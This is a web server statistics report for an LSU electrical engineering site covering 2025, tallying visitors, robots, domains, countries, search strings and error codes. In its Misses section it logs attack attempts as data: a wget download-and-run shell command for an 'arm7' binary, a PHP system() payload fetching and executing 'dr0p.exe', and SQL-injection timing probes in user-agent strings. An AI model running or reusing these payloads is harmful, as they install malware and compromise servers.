Web Server Statistics

Year to Date

Visits (Successful Accesses)

From 1 Jan 2025 0:02:14 to 21 Nov 2025 23:59:28

 A category is chosen using these tests applied in order:

 "Bot?",    Hit from the same host requested robots.txt. (As Web indexers do.)
 "LSU",     Host name matches Perl regular expression \.lsu\.edu$.
 "Outside", Any host name.

     All   Brwsrs  Brand     : Version Pct, ...
  59.64%   70.50%  Chrome    : 134.0.x  9.0%,  114.0x  6.8%,  131.0.x  6.0%, 
                             : 132.0.x  4.7%,  135.0.x  4.4%,  133.0.x  3.8%, 
                             : 139.0.x  3.3%,  122.0x  3.2%,  141.0.x  3.1%, 
                             : 140.0.x  3.0%,  138.0.x  3.0%.
                             : Android  9.1%,  Linux  3.8%,  Macintosh 24.3%, 
                             : Unknown  0.5%,  Windows 61.6%,  iPad   0.0%, 
                             : iPhone  0.7%,  iPod   0.0%.
   9.46%   11.18%  Safari    : 604.1x 44.6%,  605.1x 31.1%,  537.36x 17.7%, 
                             : 601.2.4 facebookexternalhit/1.1 Facebot Twitterbot/1.0  2.6%, 
                             : 10600.6.3  1.6%,  600.2.5  0.3%,  601.1x  0.3%, 
                             : 533.1x  0.0%,  125.12x  0.0%,  533.2x  0.0%, 
                             : 533.0  0.0%.
                             : Android 18.9%,  Linux  0.2%,  Macintosh 34.2%, 
                             : Unknown  0.1%,  Windows  0.6%,  iPad   2.6%, 
                             : iPhone 43.2%,  iPod   0.3%.
   8.20%    9.69%  Firefox   : 133.0 16.4%,  111.0 12.1%,  142.0x  9.9%, 
                             : 144.0  4.6%,  131.0  4.5%,  136.0  4.3%, 
                             : 137.0x  3.8%,  143.0  3.4%,  134.0x  3.3%, 
                             : 140.0  3.1%,  135.0  2.9%.
                             : Android  2.2%,  Linux 23.4%,  Macintosh 20.1%, 
                             : SunOS  0.0%,  Unknown  0.2%,  Windows 54.2%.
   6.90%    8.16%  Netscape  : 5.0x  100.0%,  5.2    0.0%,  2.02E  0.0%, 
                             : 4.77   0.0%.
                             : Android  0.0%,  Unknown 99.8%,  Windows  0.0%, 
                             : iPhone  0.1%.
   4.97%           ChatGPT-User
   2.43%           meta-externalagent/1.1
   1.26%           Baiduspider/2.0
   1.06%           AppleWebKit: 537.36x 73.2%,  605.1.15x 26.1%, 
                             : 606.2.3x  0.3%,  531.22.x  0.1%, 
                             : 528.16 (KHTML, like Gecko)  0.0%, 
                             : 533.20.25  0.0%, 
                             : 416.11 (KHTML, like Gecko)  0.0%, 
                             : 537.73 (KHTML, like Gecko)  0.0%, 
                             : 312.1 (KHTML, like Gecko)  0.0%, 
                             : 601.1.46 (KHTML, like Gecko) Mobile/2x  0.0%, 
                             : 525.18 (KHTML, like Gecko)  0.0%.
                             : Linux  1.2%,  Macintosh 12.6%,  SymbianOS  0.0%, 
                             : Unknown  0.0%,  Windows 71.8%,  iPad   0.5%, 
                             : iPhone 13.8%.
   0.98%           python-requests: 2.32.x 67.8%,  2.27.1 19.6%,  2.31.0 12.2%, 
                             : 2.26.0  0.2%,  2.25.1  0.1%,  2.28.x  0.1%, 
                             : 2.11.1  0.0%.
                             : Unknown 100.0%.
   0.83%           Python    : 3.12 aiohttp/3.x 93.8%,  3.10 aiohttp/3.x  4.7%, 
                             : 3.11 aiohttp/3.x  1.4%, 
                             : 3.13 aiohttp/3.11.14  0.1%,  3.9 aiohttp/3.x  0.0%.
                             : Unknown 100.0%.

Notes: MSIE refers to Microsoft Internet Explorer, Netscape refers to Netscape Navigator, SeaMonkey refers to SeaMonkey and to older versions (called the Mozilla Suite). Firefox refers to Mozilla Firefox and to older versions (Mozilla Firebird, Firebird™ and Phoenix). All shows the percentage of accesses using the corresponding user agent, Brwsrs only counts recognized web browsers. A version ending in x refers to multiple sub-versions.

 Visits Hosts  Possible Robot
 205538   351  googlebot.com
  60079  4080  amazonaws.com
  59382   570  msn.com
  47268   116  20.171.207
  37801    16  23.98.142
  35626   636  petalsearch.com
  34960    54  semrush.com

    Visits  Hosts  Originating Domain
     45492   4518  hwclouds-dns.com
     33644     92  20.171.207
     29509  10847  amazonaws.com
     16862   4388  wlan.lsu.edu
     13520   2319  sbcglobal.net
     12871   1832  cox.net
     12129   4739  googleusercontent.com
     11586     83  57.141.4
     11476   1018  googlezip.net
      7151    387  baidu.com
      6966     27  207.166.160
      5637     16  74.7.227
      5468    252  47.82.11
      5245     56  ece.lsu.edu
      5234   2929  comcast.net

    Visits  Hosts  Originating Country or Group
    365558  132201  Unknown Origin
    132331  38244  com   - Commercial
     71392  19410  net   - Network Provider
     30910   5893  edu   - Educational
      9068   8484  br    - Brazil
      6337   1832  de    - Germany
      2720    323  pl    - Poland
      2110    919  cn    - People's Republic of China
      1956   1306  in    - India
      1632    908  ru    - Russia
      1401    695  fr    - France
      1095    838  ca    - Canada
       817    237  org   - Non-commercial, non-governmental organization
       765    192  eu    - European Union
       701    636  ar    - Argentina

Visits Via Search Engine
  1231 www.google.com
    54 scholar.google.com
    20 www.semanticscholar.org
    16 www.bing.com
    15 google.com
     6 yandex.ru
     4 www.math.lsu.edu
     2 yandex.com
     2 scholar.google.co.uk
     2 news.ycombinator.com

 #e #s #p Visits Using Search Strings...                ...Found Page (Most Visits)
  1  1 401   483  ece /robots.txt
  1  1  1   179  https://www.ece.lsu.edu/kak/GarbhaUpanishad.pdf/kak/GarbhaUpanishad.pdf
  1  1  1    90  https://www.ece.lsu.edu/kak/MahabharataII.pdf/kak/MahabharataII.pdf
  1  1  1    26  https://www.ece.lsu.edu/kak/a3.pdf /kak/a3.pdf
  1  1  1    18  https://www.ece.lsu.edu/kak/ast.pdf /kak/ast.pdf
  1  1  1    16  https://www.ece.lsu.edu/news/2011/Frank-Walk-Room-map.pdf/news/2011/Frank-Walk-Room-map.pdf
  3 12 11    14  林甸 /gunturk/EE7730/L9.ppt
  1  1  1    11  https://www.ece.lsu.edu/kak/zoro.pdf /kak/zoro.pdf
  1  1  1    11  https://www.ece.lsu.edu/koppel/ /koppel
  1  1  1     8  https://www.ece.lsu.edu/vaidy/2120/ /vaidy/2120
  1  1  1     8  Tiling+of+Iteration+Spaces+for+Multicomputers./jxr/papers/conf/icpp90.PS
  1  1  1     7  https://www.ece.lsu.edu/kak/kakosu.html /kak/kakosu.html
  1  1  1     7  https://www.ece.lsu.edu/kak/taj.pdf /kak/taj.pdf
  1  1  1     7  https://www.ece.lsu.edu/kak/wonder.pdf /kak/wonder.pdf
  1  1  1     7  https://www.ece.lsu.edu/v/ /v
  1  1  1     7  Task+Allocation+onto+a+Hypercube+by+Recursive+Mincut+Bipartitioning./jxr/papers/journal/jpdc-hyp-90.PS
  1  1  1     6  https://www.ece.lsu.edu/ee3755/2013f/cla.pdf/ee3755/2013f/cla.pdf
  1  1  1     6  https://www.ece.lsu.edu/kak/shruti.pdf /kak/shruti.pdf
  1  1  1     6  https://www.ece.lsu.edu/kak/vena.pdf /kak/vena.pdf
  1  1  1     6  https://www.ece.lsu.edu/v/guides/pset-syn-seq-main.pdf/v/guides/pset-syn-seq-main.pdf

#e: Number of different search engines used, link is to the most common engine.
#s: Number of search strings the line actually reports on. For example, if the #s entry were 5 and the string shown were "Computers" the line might report on search strings "Computers", "Computer", "+Computers", "COMPUTERS", and even "-computers".
#p: Number of distinct pages that were visited, the one with the most visits from the string is shown.

Refused (Unauthorized)

From 2 Jan 2025 0:50:19 to 21 Nov 2025 20:39:23

 A category is chosen using these tests applied in order:

 "Bot?",    Hit from the same host requested robots.txt. (As Web indexers do.)
 "LSU",     Host name matches Perl regular expression \.lsu\.edu$.
 "Outside", Any host name.

     All   Brwsrs  Brand     : Version Pct, ...
  62.52%   65.56%  Chrome    : 135.0.0.0 13.9%,  134.0.0.0 11.8%, 
                             : 122.0.x  7.5%,  131.0.0.0  7.4%,  114.0.x  6.1%, 
                             : 100.0.x  5.2%,  132.0.x  4.7%,  121.0.0.0  4.0%, 
                             : 48.0.x  2.4%,  127.0.0.0  2.2%,  107.0.0.0  2.0%.
                             : Android  9.9%,  Linux  3.5%,  Macintosh 31.9%, 
                             : Unknown  0.0%,  Windows 52.0%,  iPhone  2.6%.
  13.28%   13.93%  Firefox   : 133.0 83.1%,  123.0x  4.4%,  131.0  3.7%, 
                             : 136.0  1.4%,  134.0  1.4%,  128.0  0.9%, 
                             : 140.0  0.5%,  102.0  0.2%,  12.0   0.2%, 
                             : 6.0    0.2%,  3.6.4  0.2%.
                             : Linux  6.6%,  Macintosh 84.5%,  Windows  8.9%.
  12.57%   13.18%  Netscape/5.0 AppleWebKit/537.36
   6.25%    6.56%  Safari    : 604.1x 46.3%,  605.1.1x 40.3%,  600.2.5  3.0%, 
                             : 537.36  2.0%,  125.9  0.5%,  534.0  0.5%, 
                             : 531.1  0.5%,  531.21.2  0.5%,  534.1  0.5%, 
                             : 531.16.3  0.5%,  534.38.3  0.5%.
                             : Android  1.0%,  Linux  1.0%,  Macintosh 43.8%, 
                             : Windows  2.5%,  iPad   4.5%,  iPhone 46.3%, 
                             : iPod   1.0%.
   3.11%           meta-externalagent/1.1
   0.53%           Baiduspider/2.0
   0.53%           AppleWebKit: 537.36 (KHTML, like Gecko) 94.1%, 
                             : 605.1.15 (KHTML, like Gecko)  5.9%.
                             : Macintosh  5.9%,  Windows 94.1%.
   0.44%    0.46%  Opera     : 9.53.  7.1%,  9.89.  7.1%,  8.79.  7.1%, 
                             : 8.18.  7.1%,  9.10.  7.1%,  8.68.  7.1%, 
                             : 8.12.  7.1%,  9.44.  7.1%,  8.49.  7.1%, 
                             : 9.56.  7.1%,  9.58.  7.1%.
                             : Linux 42.9%,  Windows 57.1%.
   0.31%    0.33%  MSIE      : 9.0   40.0%,  5.0   30.0%,  6.0   10.0%, 
                             : 7.0   10.0%,  8.0   10.0%.
                             : Windows 100.0%.
   0.28%           python-requests: 2.31.0 66.7%,  2.32.3 33.3%.
                             : Unknown 100.0%.

Notes: MSIE refers to Microsoft Internet Explorer, Netscape refers to Netscape Navigator, SeaMonkey refers to SeaMonkey and to older versions (called the Mozilla Suite). Firefox refers to Mozilla Firefox and to older versions (Mozilla Firebird, Firebird™ and Phoenix). All shows the percentage of accesses using the corresponding user agent, Brwsrs only counts recognized web browsers. A version ending in x refers to multiple sub-versions.

     Denys  Hosts  Originating Domain
       324     27  207.166.160
       312     31  20.171.207
        60     35  57.141.4
        57      2  74.7.227
        45     39  amazonaws.com
        44     18  61.250.32
        38     19  113.217.243
        34      1  4.227.36
        29     27  47.79.117
        27     27  acedatacenter.com

     Denys  Hosts  Originating Country or Group
      2516   1605  Unknown Origin
       206    197  com   - Commercial
       143    108  net   - Network Provider
       104    104  br    - Brazil
        58     14  de    - Germany
        22      4  pl    - Poland
        17     12  in    - India
        17     17  ar    - Argentina
        12      8  jp    - Japan
         8      8  ca    - Canada

 Lnks   Denys  ...From Links on Host      Most Common Linking Page and Target
  113     737  www.ece.lsu.edu             192 From → /v/s/genus_user.pdf

 #e #s #p  Denys Using Search Strings...                ...Found Page (Most Denys)
  1  1  1     1  ece /jxr/courses/7700-dsparch/stuff

#e: Number of different search engines used, link is to the most common engine.
#s: Number of search strings the line actually reports on. For example, if the #s entry were 5 and the string shown were "Computers" the line might report on search strings "Computers", "Computer", "+Computers", "COMPUTERS", and even "-computers".
#p: Number of distinct pages that were refused, the one with the most denys from the string is shown.

Status Codes (Access Outcomes)
  Count Code Description
   7576 401  Unauthorized.

Misses (Target Missing, etc)

From 1 Jan 2025 0:26:55 to 21 Nov 2025 23:55:20

 A category is chosen using these tests applied in order:

 "Bot?",    Hit from the same host requested robots.txt. (As Web indexers do.)
 "LSU",     Host name matches Perl regular expression \.lsu\.edu$.
 "Outside", Any host name.

     All   Brwsrs  Brand     : Version Pct, ...
  65.56%   86.36%  Chrome    : 60.0.x 48.9%,  61.0.31x  9.9%,  59.0.x  8.0%, 
                             : 85.0.x  4.0%,  90.0.x  3.8%,  122.0.x  2.2%, 
                             : 91.0.44x  2.0%,  114.0.x  1.8%,  58.0.x  1.1%, 
                             : 134.0.x  1.1%,  129.0.0.0  0.9%.
                             : Android 49.9%,  Linux  2.4%,  Macintosh 16.4%, 
                             : Unknown  0.1%,  Windows 30.9%,  iPad   0.0%, 
                             : iPhone  0.2%.
   5.92%           UT-Dorkbot: 1.2   99.2%,  1.2\   0.4%, 
                             : 1.2';waitfor delay '0:0:4'--  0.1%, 
                             : 1.2;waitfor delay '0:0:4'--  0.1%, 
                             : 1.2 and sleep  0.1%, 
                             : 1.2scnr_engine_sink_tracer_f378d598dea8d13bf513a9ce9f15b996  0.0%, 
                             : 1.2scnr_engine_sink_tracer_baf88a0739552a5d36eb381fa6fbee6f  0.0%, 
                             : 1.2scnr_engine_sink_tracer_40547e3f783670752cb323b24c1d099c  0.0%, 
                             : 1.2scnr_engine_sink_tracer_12255b5d5fc1a7f19eb4bb803ac872b9  0.0%, 
                             : 1.2scnr_engine_sink_tracer_7640df1e651136e4b48a0257e6907e38  0.0%, 
                             : 1.2scnr_engine_sink_tracer_a6eec1320a29dd8d1494ab94d2c0bc2e  0.0%.
                             : Unknown 100.0%.
   5.56%           python-requests: 2.27.1 93.3%,  2.32.x  4.6%,  2.31.0  1.1%, 
                             : 2.25.1  0.7%,  2.23.0  0.2%,  2.26.0  0.1%, 
                             : 2.28.1  0.0%, 
                             : 2.6.0 CPython/2.7.5 Linux/3.10.0-1160.x  0.0%, 
                             : 2.22.0  0.0%.
                             : Linux  0.0%,  Unknown 100.0%.
   4.05%           Go-http-client: 1.1   99.9%,         0.1%.
                             : Unknown 100.0%.
   3.68%    4.84%  Firefox   : 3.5.5 14.4%,  48.0x  7.1%,  111.0  6.7%, 
                             : 133.0  4.5%,  79.0   4.5%,  142.0  4.1%, 
                             : 123.0x  3.3%,  121.0  2.5%,  120.0  1.9%, 
                             : 122.0  1.8%,  38.0x  1.7%.
                             : Android  0.7%,  Linux 24.3%,  Macintosh 12.7%, 
                             : SunOS  0.0%,  Unknown  0.4%,  Windows 61.8%.
   2.25%    2.96%  MSIE      : 9.0   77.6%,  6.0x  11.0%,  10.0   7.2%, 
                             : 7.0x   3.3%,  8.0    0.6%,  5.0    0.2%, 
                             :        0.0%,  5.01   0.0%,  5.5    0.0%, 
                             : 5.13   0.0%,  4.01   0.0%.
                             : Linux  0.0%,  Unknown  0.1%,  Windows 99.9%.
   2.23%    2.94%  Safari    : 605.1x 38.7%,  604.1x 19.9%,  602.4.x  6.9%, 
                             : 602.1x  6.6%,  530.19x  4.1%,  537.85.1x  2.8%, 
                             : 537.36  2.5%,  534.30x  2.1%,  605.6.x  1.0%, 
                             : 605.5.x  0.8%,  605.4.x  0.8%.
                             : Android  4.7%,  Linux  0.3%,  Macintosh 60.0%, 
                             : SymbianOS  0.1%,  Unknown  1.5%,  Windows  6.0%, 
                             : iPad   4.1%,  iPhone 23.1%,  iPod   0.1%.
   2.16%    2.84%  Netscape  : 5.0x  99.9%,  4.8    0.1%,  4.77   0.0%, 
                             : 4.0    0.0%,  3.01Gold  0.0%.
                             : Android  0.1%,  Linux  0.1%,  Macintosh  0.0%, 
                             : SunOS  0.0%,  Unknown 98.0%,  Windows  1.7%, 
                             : iPhone  0.0%.
   1.69%           Custom-AsyncHttpClient
   1.63%           l         : 9explore/1.2.2 99.9%,  9explore/1.0.0  0.1%.
                             : Unknown 100.0%.

Notes: MSIE refers to Microsoft Internet Explorer, Netscape refers to Netscape Navigator, SeaMonkey refers to SeaMonkey and to older versions (called the Mozilla Suite). Firefox refers to Mozilla Firefox and to older versions (Mozilla Firebird, Firebird™ and Phoenix). All shows the percentage of accesses using the corresponding user agent, Brwsrs only counts recognized web browsers. A version ending in x refers to multiple sub-versions.

    Misses  Hosts  Originating Domain
     46891   1492  amazonaws.com
     23038    277  in-addr.arpa
     16217      4  45.134.225
     13360      1  159.65.133
     12043      2  193.142.147
      6185      2  134.209.158
      5506      3  165.22.247
      5364      1  167.71.231
      5204      3  185.196.220
      4358     40  cloudwaysapps.com

    Misses  Hosts  Originating Country or Group
    255475  20921  Unknown Origin
     72496   5239  com   - Commercial
     23038    277  arpa
     11931   1709  net   - Network Provider
      1669   1539  br    - Brazil
      1645      1  lk    - Sri Lanka
      1228    203  edu   - Educational
      1034    153  org   - Non-commercial, non-governmental organization
      1034     81  cn    - People's Republic of China
       914    214  de    - Germany

 Lnks  Misses  ...From Links on Host      Most Common Linking Page and Target
 4964   27540  www.ece.lsu.edu            1764 From → /biomems/fonts/icomoon.woff
    1     560  faculty.csu.edu.cn          All From → /gveronis/edu/gveronis
    1      83  www.facebook.com            All From → /wp-login.php
    1      30  faculty.lsu.edu             All From → /lpeng/wordpress
    1      26  www.lsu.edu                 All From → /eng/ece
    2      15  www.technologyreview.com      9 From → /bwei/index.html
   13      13  checks.ecsypno.com            1 From → /phpBB2/viewforum.php
   13      13  www.semanticscholar.org       1 From → /xinli/Research/CIS2014.pdf
    1       9  users.erols.com             All From → /bwei/webpage.htm
    1       7  daimajiaoliu.com            All From → /ipl/Teaching.html%C2%A0
    1       6  www.ece.lsu.eduadmin        All From → /module
    1       4  www.iogp.org                All From → //xmlrpc.php
    4       4  electronics.stackexchange.com     1 From → /desouza/Classes/EE3950/EE3950 Class Notes Chapter 11.pdf
    1       4  phi.history.ucla.edu        All From → //xmlrpc.php
    1       4  faperta.upr.ac.id           All From → //xmlrpc.php
    1       3  130.39.222.33admin          All From → /module
    1       3  www.baidu.com               All From → /gveronis/edu/gveronis
    1       3  www.geek-share.com          All From → /hpca-18/files/HPCA2012_Facebook_Keynote
    1       3  interact.sh                 All From → /goform/goform_get_cmd_process
    2       2  www.passions.com.cn           1 From → /lpeng/wordpress

 #e #s #p Misses Using Search Strings...                ...Found Page (Most Misses)
  1  1 468   912  ece /online-degree-programs
  3  1  1    65  SHOW DIAGNOSTICS /query
  4  1 10    60  wordpress /wp-login.php
  1  1  3    12  Computing 3D Shape Guarding and Star Decomposition, https://www.baidu.com/q/xinli/Research/SIG11_Abstract.pdf
  1  1  1    10  Set-Cookie content /eng/ece
  1  1  5     6  joomla /administrator
  1  1  1     4  SGP '04, https://www.baidu.com/q /xinli/Data/LiepaSGP2003.pdf
  1  1  1     3  Current Methods in Medical Image Segmentation/gunturk/Topics/Segmentation-1.pdf
  1  1  2     3  wordpress admin /login
  1  1  1     2  167 0007 5724 /koppel/pubs/pe_wddd_pr.pdf"
  1  1  2     2  unsigned+int+to+hex /ee4720/2016/hex-string.s.html&sa=U&ved=2ahUKEwjb-vrC49_-AhWQ6CoKHRd5DqgQFnoECAEQAg&usg=AOvVaw2HaDOH649zpbh3HP6EBPlB
  1  1  1     1  {} /wp-admin
  1  1  1     1  cd /tmp;rm arm7; wget http://103.163.215.73/arm7; chmod 777 *; ./arm7 tbk/device.rsp
  1  1  1     1  Content-Type: text/plain

<?php system('curl -L -k -O http://23.27.51.244/dr0p.exe && ./dr0p.exe || wget --no-check-certificate http://23.27.51.244/dr0p.exe && ./dr0p.exe');?>/cgi-bin/php-cgi.exe
  1  1  1     1  image segmentation statistical methods /gunturk/Topics/Segmentation-1.pdf
  1  1  1     1  indian and japanese gods /kak/VedicJapan.pdf
  1  1  1     1  medical image processing methods /gunturk/Topics/Segmentation-1.pdf
  1  1  1     1  mughal period taj mahal /kak/taj.pdf
  1  1  1     1  opengl+3.2+spec /koppel/gp/refs/glspec32.core.20090803.pdf&sa=U&ved=2ahUKEwilt-m40K2AAxUjGxAIHdUbD-IQFnoECAkQAg&usg=AOvVaw3oT1mdNyj275t-qCsR3P-4
  1  1  1     1  tenbu japan /kak/VedicJapan.pdf

#e: Number of different search engines used, link is to the most common engine.
#s: Number of search strings the line actually reports on. For example, if the #s entry were 5 and the string shown were "Computers" the line might report on search strings "Computers", "Computer", "+Computers", "COMPUTERS", and even "-computers".
#p: Number of distinct pages that were missed, the one with the most misses from the string is shown.

Status Codes (Access Outcomes)
  Count Code Description
  27175 400  Syntax error in request.
 249832 403  Forbidden.
1279747 404  Not found.
    399 405  Method not allowed.
    101 408  Request timeout.
    435 416  Range not satisfiable.
      1 417  Unknown status.
   5351 500  Server error.